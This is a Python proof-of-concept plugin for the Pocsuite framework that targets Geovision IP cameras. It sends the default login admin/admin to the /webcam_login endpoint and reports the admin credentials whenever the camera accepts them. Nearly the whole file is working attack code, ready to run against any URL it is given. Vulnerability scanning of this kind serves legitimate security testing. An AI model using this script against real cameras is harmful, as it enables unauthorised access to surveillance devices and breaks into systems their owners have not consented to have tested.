Geovision IP Camera device weak password vulnerability

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase


class TestPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['Hcamael']
    vulDate = '2016-11-11'
    createDate = '2016-11-11'
    updateDate = '2016-11-11'
    references = ['']
    name = 'Geovision IP Camera设备弱密码漏洞'
    appPowerLink = 'http://www.geovision.com.tw/'
    appName = 'geovision'
    appVersion = 'IP Camera'
    vulType = 'weak passwd'
    desc = '''
        Geovision IP Camera设备存在弱密码admin/admin
    '''
    samples = ['']
    install_requires = ['']
    #请尽量不要使用第三方库，必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段

    def _attack(self):
        result = {}
        #Write your code here

        return self._verify()

    def _verify(self):
        result = {}
        #Write your code here
        url = self.url + "/webcam_login"
        data = {}
        data['id'] = "admin"
        data['pwd'] = "admin"
        data['ViewType'] = "2"
        data['Login'] = "Login"
        r = req.post(url, data=data, timeout=6)
        if r.status_code == 200 and 'IDKey' in r.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['AdminInfo'] = {}
            result['AdminInfo']['username'] = "admin"
            result['AdminInfo']['password'] = "admin"
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)